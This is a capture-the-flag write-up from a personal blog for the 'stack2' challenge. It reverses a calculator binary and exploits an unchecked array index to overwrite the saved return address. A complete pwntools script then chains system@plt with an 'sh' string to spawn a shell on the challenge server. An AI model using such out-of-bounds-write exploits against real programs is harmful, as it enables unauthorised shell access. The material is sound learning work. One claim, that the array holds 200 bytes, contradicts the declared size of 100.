➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

AD World Challenges

image

File Checks

image

So we are working with a x86 executable which is dynamically linked and not stripped

And the protections enabled are: Canary & NX

Running the binary to get an overview of what it does shows this image

Basically this binary provides us with a calculator like structure where we can perform about 4 operations on

Now that we know that I decided to decompile the binary inorder to reverse it and find the vulnerability

Reversing image image

I will look through what each function does and explain 🙂

char numArray [100];

puts("How many numbers you have:");
__isoc99_scanf("%d",&idx);
puts("Give me your numbers");
for (i = 0; (i < idx && ((int)i < 100)); i = i + 1) {
  __isoc99_scanf("%d",&values);
  numArray[i] = (char)values;
}

Here comes the operational part of this program. In a while loop it can allow us perform 4 operations

if (choice != 1) goto end;
puts("id\t\tnumber");
for (k = 0; k < cnt; k = k + 1) {
  printf("%d\t\t%d\n",k,(int)numArray[k]);
}
if (choice != 2) break;
puts("Give me your number");
__isoc99_scanf("%d",&values);
if (cnt < 100) {
  numArray[cnt] = (char)values;
  cnt = cnt + 1;
}
if (choice != 3) break;
puts("which number to change:");
__isoc99_scanf("%d",&idx);
puts("new number:");
__isoc99_scanf("%d",&values);
numArray[idx] = (char)values;
}
if (choice != 4) break;
sum = 0;
for (j = 0; j < cnt; j = j + 1) {
  sum = sum + numArray[j];
}
printf("average is %.2lf\n",(double)sum / (double)(ulonglong)cnt);
}

And finally if none of the options are choosen the binary goes to the end switch case and checks if the canary is still intact and if it is it returns 0

end:
  if (local_14 == *(int *)(in_GS_OFFSET + 0x14)) {
    return 0;
  }

Exploitation

Now you may wonder where the bug is?

Well the bug resides in option 3

Is the reason because it would allow us specify the index position of the array we want to store our integer to? Nope!

The reason is because it doesn’t check if the index position we are trying to write to is within the range of the array

Because the array can only hold up at most 200 bytes that means the operation should have made sure our index value is within range(0, 199)

Now because of this bug we can write out of bound of the array making this bug OOB Write (Out-Of-Bound Write)

But what do we do with this bug? Is there anything we would want to overwrite?

Looking through the available functions I came across this image

Ok cool there’s a function which would spawn a shell

That’s satisfying because we can possibly call that function! Wait but how?

Because the array is stored on the stack we can use the OOB Write to overwrite the EIP before the program returns without worrying about Canary

How do we achieve that?

First we need to know the address of the array and the stack return address

For the first one looking at the assembly code in Ghidra when the number get stored in the array shows this image

That instruction would move the value of ebp-0x70 to the edx register, and the edx register is pointing to the array

So I set a breakpoint at that point image image image

After it does lea edx, [ebp-0x70] operation the current value in edx is the array address

array = edx = 0xffffcdc8

Now we need the stack return address which we can get by setting a breakpoint at the point the binary wants to ret image image

The value stored in esp is the stack return address

ret_addr = esp = 0xffffce4c

Now to get the offset needed to overwrite the instruction pointer just do this:

ret_addr - array = 0xffffce4c - 0xffffcdc8

The resulting answer is 132

Ok let’s confirm it by overwriting the eip->0x41414141

Note that when changing number with option 3 the expected integer value is just a DWORD -> sizeof(int) that means if we want to overwrite the instruction pointer we would send the address one DWORD at a time in little endian format

Back to our test overwrite image image

Nice that worked, here’s the code I used to do that because doing it manually was annoying image

Now that we achieved the eip control let’s make it call the hackhere function

I grabbed the address from gdb and split it image image

0x0804859b  hackhere

Now on running the exploit worked locally image

I tried running it remotely and got this image

So apparently it doesn’t have /bin/bash remotely that’s why it stopped

I couldn’t find any way to write /bin/sh to memory then call system(memory)

Later I figured instead of it doing system('/bin/sh') why not it do system('sh') basically not using full path?

Because the address of /bin/bash is stored on the binary if we just do like address+0x7 it would give sh image

But now we need to form the write payload to call system('sh') we can easily achieve that because we can control the eip

And on x86 arch argument are passed to function via the stack

Here’s the final exploit code

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import tqdm
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'stack2')

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
break *main+802
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()

def write(idx, addr):
    io.sendline(b'3')
    io.sendlineafter(b'change:', str(idx))
    io.sendlineafter(b'number:', str(addr))

def oob():
    io.recvuntil('have:')
    io.sendline('1')
    io.recvuntil('numbers')
    io.sendline('1')
    
    system = [0x08, 0x04, 0x84, 0x56][::-1]
    sh = [0x08, 0x04, 0x89,0x87][::-1]
    idx = 0x84

    info("Sending payload")
    sleep(1)

    for addr in system:
        write(idx, addr)
        idx += 0x1
    
    info("Chain one completed. EIP overwritten to: %#x", exe.plt['system'])
    sleep(2)

    for _ in range(4):
        write(idx, 0x0)
        idx += 0x1

    info("Chain two completed. EIP overwritten to: %#x", 0x0)
    sleep(2)

    for addr in sh:
        write(idx, addr)
        idx += 0x1

    info("Chain three completed. EIP overwritten to: %#x", 0x8048987)
    info("Final Chain: eip -> system@plt -> 0x0 -> sh")
    info("Spawning Shell ^^")
    sleep(2)

    io.sendline('5')

    io.interactive()

def main():
    
    init()
    oob()


if __name__ == '__main__':
    main()

Running it works remotely image

You can check it out as it runs locally: asciicast Overall I’d say it’s an easy challenge but during the time I was solving this I spent some minutes finding way to write a string in memory but after I couldn’t achieve that I figured that alternate way

So that time spent did did piss me off 🥲

Anyways thanks for reading!